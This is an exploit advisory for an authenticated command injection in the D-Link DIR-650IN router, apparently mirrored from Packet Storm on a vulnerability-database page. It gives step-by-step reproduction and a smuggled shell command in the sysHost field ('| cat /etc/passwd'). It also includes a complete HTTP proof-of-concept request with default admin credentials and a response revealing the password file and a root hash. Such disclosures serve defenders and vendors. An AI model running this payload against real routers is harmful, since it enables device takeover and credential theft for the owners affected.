Lucene search
K

📄 D-Link DIR-650IN Command Injection

🗓️ 10 Apr 2026 00:00:00Reported by Sanjay SinghType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 74 Views

Authenticated command injection in D-Link DIR-650IN allows reading password file via Diagnostic tool.

Code
# Exploit Title: D-Link DIR-650IN - Authenticated Command Injection
    # Date: 2023-01-08
    # Exploit Author: Sanjay Singh
    # Vendor Homepage: https://www.dlink.com
    # Software Link: https://dlinkmea.com/index.php/product/details?det=T082aVdUWUFNR2FRblBBQUxMWlVTZz09
    # Version: Firmware V1.04 (REQUIRED)
    # Tested on: DIR-650IN Web UI (Boa/0.94.14rc21), Windows 10 / Chrome 108
    # CVE: N/A (Version included now, previously missing)
    
    Description:
    The D-Link DIR-650IN Wireless N300 Router is vulnerable to an Authenticated Command Injection vulnerability in the Diagnostic (Ping / Traceroute) functionality.
    
    The parameter sysHost is not sanitized, allowing an authenticated attacker (even with low-privilege access) to inject OS commands. Exploitation leads to full compromise of the router, including reading sensitive system files such as /etc/passwd.
    
    Steps to Reproduce:
    1. Log in to the router web interface.
    2. Go to Management → Diagnostic.
    3. Select Ping or Traceroute.
    4. Enter: google.com | cat /etc/passwd
    5. Click Apply.
    6. Output includes /etc/passwd contents.
    
    HTTP PoC:
    POST /boafrm/formSysCmd HTTP/1.1
    Host: 192.168.0.1
    Authorization: Basic YWRtaW46YWRtaW4=
    Content-Type: application/x-www-form-urlencoded
    
    submit-url=%2Fsyscmd.htm&sysCmd=ping&sysCmdType=ping&checkNum=5&sysHost=google.com%7Ccat%20/etc/passwd&apply=Apply
    
    Response Extract:
    root:XEOFcsRJLyXbQ:0:0:root:/:/bin/sh
    nobody:x:0:0:nobody:/:/dev/null
    
    References:
    https://www.dlink.com
    https://dlinkmea.com/index.php/product/details?det=T082aVdUWUFNR2FRblBBQUxMWlVTZz09

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation